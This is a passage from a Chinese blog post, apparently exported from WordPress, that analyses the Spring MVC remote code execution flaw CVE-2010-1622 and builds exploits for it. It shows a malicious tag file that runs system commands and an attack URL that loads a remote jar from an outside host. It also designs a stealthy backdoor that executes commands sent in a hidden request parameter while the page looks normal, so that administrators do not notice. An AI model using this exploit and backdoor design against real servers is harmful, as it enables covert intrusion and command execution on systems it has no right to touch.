\nTld\u6587\u4ef6\u81ea\u5df1\u6709\u4e2a\u6807\u51c6\uff08\u8be6\u89c1jsp\u6807\u7b7e\u5e93\uff09\uff0c\u5728\u89e3\u6790\u7684\u65f6\u5019\uff0c\u662f\u5141\u8bb8\u76f4\u63a5\u4f7f\u7528jsp\u8bed\u6cd5\u7684\uff0c\u6240\u4ee5\u8fd9\u5c31\u51fa\u73b0\u4e86\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u7684\u6700\u7ec8\u6548\u679c\u3002
\n\u8fd9\u662fspring-form.tld\u539f\u672c\u7684\u90e8\u5206\u5185\u5bb9\u793a\u4f8b
\n
\"\"<\/a>
\nForm\u6807\u7b7e\u91cc\u9762\u6709\u4e2ainput\u7684\u6807\u7b7e\uff0c\u4f1a\u6839\u636e\u5f00\u53d1\u4eba\u5458\u7684\u5b9a\u4e49\uff0c\u7ed9\u8fd9\u4e9b\u53c2\u6570\u9ed8\u8ba4\u8d4b\u503c\uff0c\u524d\u9762\u8bf4\u5230\u5b83\u662f\u652f\u6301jsp\u8bed\u6cd5\u7684\uff0c\u6240\u4ee5\u62ffspring\u539f\u672c\u7684\/META-INF\/spring-form.tld\u6587\u4ef6\uff0c\u66ff\u6362\u5176\u4e2d\u5185\u5bb9\uff0c\u53ef\u4ee5\u628a\u8fd9\u4e2atld\u7684\u539f\u672cinput tag\u7684\u5185\u5bb9\u66ff\u6362\u4e3a\uff1a<\/p>\n

\r\n\r\n\t\r\n    input<\/name>\r\n    \/META-INF\/tags\/InputTag.tag<\/path>\r\n  <\/tag-file>\r\n<\/pre>\n

\u8fd9\u6837\u6307\u5b9a\u8ba9\u4e00\u4e2atag\u6587\u4ef6\u89e3\u6790\u3002
\n\u8fd8\u7f3a\u4e00\u4e2a\/META-INF\/tags\/InputTag.tag<\/p>\n

\r\n<%@ tag dynamic-attributes=\"dynattrs\" %>\r\n<%\r\n j java.lang.Runtime.getRuntime().exec(\"mkdir \/tmp\/PWNED\"); \r\n%>\r\n<\/pre>\n

\u505a\u51fa\u8fd9\u6837\u7684\u66ff\u6362\u540e\uff0c\u5f53\u5f00\u53d1\u8005\u5728controller\u4e2d\u5c06\u4efb\u4f55\u4e00\u4e2a\u5bf9\u8c61\u7ed1\u5b9a\u8868\u5355\uff0c\u5e76\u4e14\u6700\u7ec8\u5c55\u793a\u7684jsp\u5185\u5bb9\u6709\u4e0b\u9762\u8fd9\u4e9b\uff1a<\/p>\n

\r\n<%@ taglib prefix=\"form\" uri=\"http:\/\/www.springframework.org\/tags\/form\"%>\r\n\r\n\r\n<\/form:form>\r\n<\/pre>\n

\u653b\u51fb\u8005\u8bbf\u95eeurl:<\/p>\n

\r\nhttp:\/\/inbreak.net\/springmvc\/testjsp.htm? class.classLoader.URLs[0]=jar:http:\/\/inbreak.net\/spring-exploit.jar!\/\r\n<\/pre>\n

\u5373\u53ef\u89e6\u53d1\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u7684\u6548\u679c\uff0c\u6f0f\u6d1e\u53d1\u5e03\u8005\u5199\u7684POC\u771f\u7684\u5f88\u56e7\u3002\u539f\u672c\u9875\u9762\u4f1a\u663e\u793a\u4e00\u4e2a\u6587\u672c\u6846\u624d\u5bf9\uff0c\u73b0\u5728\u53d8\u6210\u4e86\u4e00\u4e2a\u7a7a\u767d\uff0c\u5e76\u4e14\u540e\u53f0\u6267\u884c\u547d\u4ee4
\nmkdir \/tmp\/PWNED
\n\u6ce8\u610f\uff0c\u662f\u6240\u6709\u7684\u9875\u9762\uff0c\u51e1\u662f\u6709input\u7684\u5730\u65b9\uff0c\u90fd\u4f1a\u53d8\u6210\u7a7a\u767d\uff0c\u8fd9\u4e2a\u6807\u7b7e\u76f4\u63a5\u88ab\u66ff\u6362\u6389\u3002
\nTomcat\u7684\u5f00\u53d1\u4eba\u5458\u62bd\u98ce<\/strong>
\n\u4e0d\u5f97\u4e0d\u8bf4\uff0c\u60f3\u89e6\u53d1\u6f0f\u6d1e\uff0c\u5176\u5b9e\u8fd8\u5f97\u8fc7tomcat\u8fd9\u4e00\u5173\uff0c\u8fd9\u624d\u662f\u51e0\u6b21\u7814\u7a76\uff0c\u90fd\u5931\u8d25\u7684\u7f6a\u9b41\u7978\u9996\uff0c\u771f\u591f\u607c\u706b\u3002\u60f3\u4e0d\u901a\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u5173\u4f60tomcat\u9e1f\u4e8b\uff1f\u4f60\u6709\u4e8b\u6ca1\u4e8b\u51fa\u4e2a\u8865\u4e01\uff0c\u5bb3\u7684\u6211\u8c03\u8bd5\u4e0d\u51fa\u6765\uff01
\nhttp:\/\/svn.apache.org\/viewvc\/tomcat\/trunk\/java\/org\/apache\/catalina\/loader\/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h
\n\u5c45\u7136\u5728tomcat6.0.28\u4e4b\u540e\u7684\u7248\u672c\uff0c\u628a<\/p>\n

\r\nreturn repositoryURLs;\r\n<\/pre>\n

\u6539\u4e3a\u4e86<\/p>\n

\r\nreturn repositoryURLs.clone();\r\n<\/pre>\n

\u8fd8\u7f8e\u5176\u540d\u66f0\uff1a
\nReturn copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.
\n\u60f3\u9a82\u8fd9\u5e2e\u5bb6\u4f19\uff0cgood\u4f60\u59b9idea\uff01
\n\u8fd9\u6837\u7684\u4fee\u6539\uff0c\u5bfc\u81f4\u4e86spring mvc\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u89e6\u53d1\u5931\u8d25\uff0c\u5c31\u56e0\u4e3aspring mvc\u62ff\u5230\u7684\u662f\u4e2a\u514b\u9686\u7684URLs\uff0c\u4e0d\u662f\u771f\u7684URLs\uff0c\u7ed9\u4e86\u4e00\u4e2a\u5c71\u5be8\u8d27\uff0c\u4fee\u6539\u7684\u5e76\u975e\u539f\u672c\u7684URLs\u3002\u4f5c\u8005\u8c03\u8bd5\u4e86\u5f88\u4e45\u5f88\u4e45\uff0c\u6362\u4e86N\u79cdspring mvc controller\u7684\u5b9e\u73b0\uff0c\u90fd\u6ca1\u6709\u641e\u5b9a\u3002\u55ef\u3002\u3002\u3002\u540e\u6765\u864e\u8eaf\u4e00\u9707\uff0c\u731c\u5230\u8fd9\u662f\u6709\u4e2a\u5bb6\u4f19\u5728\u505a\u624b\u811a\uff0c\u679c\u65ad\u7ffb\u9605tomcat\u7684svn diff\uff0c\u679c\u7136\u770b\u5230\u8fd9\u4e2a\u6587\u4ef6\u88ab\u4e00\u4e2a\u9634\u9669\u7684\u5bb6\u4f19\u505a\u4e86\u624b\u811a\u3002
\n\u4e5f\u5c31\u662f\u8bf4\uff0c\u5982\u679c\u670d\u52a1\u5668\u5927\u4e8etomcat6.0.28\u7248\u672c\uff0c\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff0c\u662f\u4e0d\u53ef\u80fd\u4e86\uff0c\u6700\u591a\u53ef\u4ee5DOS\u4e00\u4e0b\uff0c\u53c2\u89c1\u524d\u6587\u7ae0\u8282\u3002\u5199\u8fd9\u4e00\u8282\uff0c\u53ea\u662f\u53d1\u53d1\u7262\u9a9a\uff0c\u5927\u5bb6\u8c03\u8bd5\u65f6\u5019\u6ce8\u610f\u4e00\u4e0b\uff0c\u4e0d\u8981\u4e0a\u5f53\u4e86\u3002
\n\u548c\u8c10\u5229\u7528\u7684EXP<\/strong>
\n\u5f88\u663e\u7136\uff0c\u6f0f\u6d1e\u53d1\u5e03\u8005\u63d0\u4f9b\u7684EXP\u662f\u4e0d\u7b26\u5408\u671f\u671b\u7684\uff0c\u4e00\u65e6\u7528\u4e86\u4e4b\u540e\uff0c\u88ab\u653b\u51fb\u7684\u7f51\u7ad9\u7acb\u523b\u663e\u793a\u5f02\u5e38\uff0c\u50bb\u5b50\u90fd\u77e5\u9053\u51fa\u4e86\u95ee\u9898\u4e86\u3002\u6240\u4ee5\u8981\u6539\u5230\u548c\u8c10\u4e3a\u6b62\uff0c\u60f3\u6765\u548c\u8c10\u7684EXP\uff0c\u5e94\u8be5\u662f\u7b26\u5408\u201c\u60f3\u8ba9\u5b83\u6267\u884c\uff0c\u5c31\u6267\u884c\uff0c\u4e0d\u60f3\u8ba9\u6267\u884c\uff0c\u5c31\u663e\u793a\u6b63\u5e38\u201c\u3002
\n\u4e0b\u8f7dspring-form.tld\uff0c\u7ed9\u5176\u4e2d\u7684inputtag\u6539\u540d\uff0cname\u6539\u4e3ainputkxlzx\uff1a<\/p>\n

\r\n\t\r\n\t\tinputkxlzx<\/name>\r\n<\/pre>\n

\u968f\u4fbf\u4ec0\u4e48\u540d\u5b57\u90fd\u53ef\u4ee5\u3002\u65b0\u52a0\u5165\u4e00\u4e2atag\uff0c\u53eb\u505ainput\uff1a<\/p>\n

\r\n  \r\n    input<\/name>\r\n    \/WEB-INF\/tags\/InputTag.tag<\/path>\r\n  <\/tag-file>\r\n<\/pre>\n

InputTag.tag\u7684\u5185\u5bb9\uff08\u672c\u6587\u53ea\u8ba8\u8bba\u6280\u672f\uff0c\u4e3a\u51cf\u5c11\u5371\u5bb3\uff0c\u6b64\u6587\u4ef6\u4e0d\u80fd\u76f4\u63a5\u4f7f\u7528\uff0c\u53ea\u6709\u61c2\u5f97\u4eba\u624d\u53ef\u4ee5\u770b\u61c2\uff09\uff1a<\/p>\n

\r\n\u2026\r\nif (request.getParameter(\"kxlzxcmd\")!=null) \r\n\texec(request.getParameter(\"kxlzxcmd\")); \r\n\u2026\r\n<\/form:inputkxlzx>\r\n<\/pre>\n

\u7cbe\u534e\u5c31\u5728\u8fd9\u91cc\uff0c\u591a\u4e48\u548c\u8c10\u554a\uff0c\u66ff\u6362\u4e86\u539f\u6765\u7684input tag\uff0c\u5e76\u4e14\u8fd8\u62e5\u6709input tag\u7684\u529f\u80fd\u3002\u9875\u9762\u663e\u793a\u7684\u8fd8\u662f\u539f\u6765\u7684input\uff0c\u4e0d\u5f71\u54cd\u539f\u672c\u7684\u4e1a\u52a1\u903b\u8f91\uff0c\u9875\u9762\u770b\u4e0d\u51fa\u4ec0\u4e48\u6765\u3002
\n\u53ea\u6709\u5728\u653b\u51fb\u8005\u63d0\u4ea4kxlzxcmd\u65f6\uff0c\u4f1a\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5176\u5b9e\u8fd9\u4e5f\u4e0d\u591f\u548c\u8c10\uff0c\u6700\u548c\u8c10\u7684\uff0c\u662f\u641e\u4e2awebshell\u51fa\u6765\u3002
\n\u770b\u770b\u6548\u679c\uff1a
\n \"\"<\/a>
\n\u8fd9\u4e2a\u53eb\u505aname\u7684Input\u4ecd\u7136\u53ef\u4ee5\u83b7\u53d6\u503c(kxlzx)\uff0c\u6b63\u5e38\u4f7f\u7528\u4e0d\u51fa\u9519\uff0c\u53ea\u6709\u53c2\u6570\u4e2d\u6709kxlzxcmd\u65f6\uff0c\u624d\u4f1a\u89e6\u53d1\u3002
\n\u603b\u7ed3<\/strong>
\n\u6700\u540e\u603b\u7ed3\u4e00\u4e0b\u6f0f\u6d1e\u7684\u5c40\u9650\uff1a
\n1\u3001spring mvc\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u5fc5\u987b\u4f7f\u7528\u4e86spring\u6807\u7b7e\u5e93\u624d\u53ef\u4ee5\uff0c\u5426\u5219\u4e0d\u80fd\u6700\u7ec8\u52a0\u8f7dtld\u6587\u4ef6\u3002
\n2\u3001spring mvc \u62d2\u7edd\u670d\u52a1\u6f0f\u6d1e\u53ea\u662f\u4e00\u4e2a\u968f\u673a\u51fa\u73b0\u7684\u798f\u5229\uff0c\u56e0\u4e3a\u670d\u52a1\u5668\u4e0a\u7684\u5e94\u7528\u7a0b\u5e8f\u4e0d\u4e00\u5b9aclass\u52a0\u8f7d\u987a\u5e8f\u5012\u7f6e\u5c31\u4f1a\u51fa\u95ee\u9898\u3002
\n3\u3001\u539f\u516c\u5e03\u8005\u7684POC\u662f\u7edd\u5bf9\u4e0d\u80fd\u7528\u7684\uff0c\u7528\u4e86\u4e4b\u540e\u670d\u52a1\u5668\u53ea\u80fd\u7b49\u5f85\u91cd\u542f\u4e86\uff0c\u53ea\u8981\u4f60\u7528\u4e86\uff0c\u5c31\u51c6\u5907\u548c\u7ba1\u7406\u5458\u6253\u62db\u547c\u5427\u3002
\n4\u3001\u672c\u6587\u6240\u63d0EXP\u5e76\u975e\u6700\u597d\u7684\uff0c\u6700\u597d\u7684\u5f53\u7136\u662f\u5199\u4e2ashell\u4ec0\u4e48\u7684\u3002
\n5\u3001\u7531\u4e8eexp\u90fd\u662f\u66ff\u6362\u4e86input tag\uff0c\u6240\u4ee5\u5fc5\u987b\u5f53\u524d\u9875\u9762\u4e2d\u5b58\u5728input tag\uff0c\u624d\u80fd\u89e6\u53d1\uff0c\u5f53\u7136\u4e00\u4e2a\u6b63\u5e38\u7684web\u5e94\u7528\u4e2d\u5fc5\u7136\u6709\u8fd9\u6837\u7684\u9875\u9762\u3002
\n\u81f3\u4e8e\u4fee\u8865\u6f0f\u6d1e\u4ec0\u4e48\u7684\u5927\u5bb6\u81ea\u5df1\u67e5\uff0c\u8fd9\u4e0d\u662f\u4ec0\u4e48\u65b0\u6f0f\u6d1e\uff0c\u53ea\u662f\u5fc3\u8840\u6765\u6f6e\u7684\u4e00\u7bc7\u5206\u6790\u6587\u3002\u6280\u672f\u662f\u4e0d\u80fd\u505c\u6b62\u7814\u7a76\u7684\uff0c\u6240\u4ee5\u65f6\u4e0d\u65f6\u5f97\u7ec3\u7ec3\u5175\uff0c\u6240\u4ee5\u624d\u6709\u4e86\u8fd9\u7bc7\u3002\u5982\u679c\u770b\u61c2\u4e86\uff0c\u81f3\u5c11\u5199\u7684EXP\uff0c\u662f\u6ca1\u95ee\u9898\u7684\uff0c\u4e5f\u4e0d\u81f3\u4e8e\u8001\u5916\u53d1\u4e86\u8fd9\u4e48\u65e7\u7684\u6587\u7ae0\u548c\u516c\u544a\uff0c\u5c45\u7136\u6ca1\u6709\u542c\u5230\u6709\u4eba\u6253\u6210\u529f\u8fc7\uff0c\u800c\u56fd\u5185\u6bcf\u6b21\u90fd\u662f\u9010\u5b57\u7ffb\u8bd1\uff0c\u6728\u6709\u4efb\u4f55\u81ea\u5df1\u7684\u7406\u89e3\u3001\u7814\u7a76\u548c\u8bf4\u660e\uff0c\u8fd9\u6837\u4e0d\u597d\u3002
\n\u94fe\u63a5<\/strong>
\n\u7a7a\u865a\u6d6a\u5b50\u5fc3 http:\/\/inbreak.net\/ @javasecurity http:\/\/t.qq.com\/javasecurity
\n\u6f0f\u6d1e\u53d1\u5e03\u8005\u7684blog\u6587\uff1ahttp:\/\/blog.o0o.nu\/2010\/06\/cve-2010-1622.html
\n80vul http:\/\/www.80vul.com\/?q=content\/spring-framework%EF%BC%88cve-2010-1622%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%8C%87%E5%8D%97<\/p>\n","protected":false},"excerpt":{"rendered":"

\u8fd9\u4e2a\u6f0f\u6d1e\u57282010\u5e74\u51fa\u7684\uff0c\u5f53\u65f6\u7531\u4e8e\u73af\u5883\u95ee\u9898\uff0c\u5e76\u6ca1\u6709\u627e\u5230\u7a33\u5b9a\u5229\u7528\u7684EXP\u3002\u4f5c\u8005\u5bf9spring mvc\u6846\u67b6\u4e0d\u719f\u6089\uff0c\u5f88\u591a\u5730\u65b9\u4e0d\u4e86\u89e3\uff0c\u7ed3\u679c\u7814\u7a76\u4e86\u4e00\u534a\uff0c\u8bc1\u660e\u4e86\u6f0f\u6d1e\u7684\u90e8\u5206\u4e25\u91cd\u6027\u5c31\u653e\u4e0b\u4e86\uff0c\u6ca1\u6709\u5f04\u51faPOC\u6765\u3002\u6700\u8fd1\u540c\u4e8b\u4e5f\u60f3\u7814\u7a76\u4e0b\uff0c\u52fe\u8d77\u4e86\u7814\u7a76\u5174\u8da3\uff0c\u7ed3\u679c\u8fd0\u6c14\u7206\u53d1\uff0c\u89e3\u51b3\u4e86\u5f53\u5e74\u6ca1\u6709\u641e\u5b9a\u7684N\u591a\u95ee\u9898\u548c\u9519\u8bef\uff0c\u8fd9\u624d\u7ec8\u4e8e\u8ba9\u670d\u52a1\u5668\u4e0a\u7684CALC\u8dd1\u8d77\u6765\u3002
\n\u5f53\u7136\uff0c\u672c\u6587\u4e0d\u4f1a\u63d0\u4f9bPOC\uff0c\u53ea\u662f\u5bf9\u5b98\u65b9\u7684POC\u5206\u6790\u4e00\u4e0b\uff0c\u4ee5\u53ca\u544a\u8bc9\u5927\u5bb6\u600e\u4e48\u5199\u81ea\u5df1\u60f3\u8981\u7684EXP\uff0c\u672c\u6587\u4e0d\u4f1a\u63d0\u4f9b\u9ed1\u5ba2\u5de5\u5177\uff0c\u53ea\u8ba8\u8bba\u6280\u672f\u3002<\/p>\n

\u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[84,86,5],"tags":[],"views":36042,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/377"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=377"}],"version-history":[{"count":4,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/377\/revisions"}],"predecessor-version":[{"id":384,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/377\/revisions\/384"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=377"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=377"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=377"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}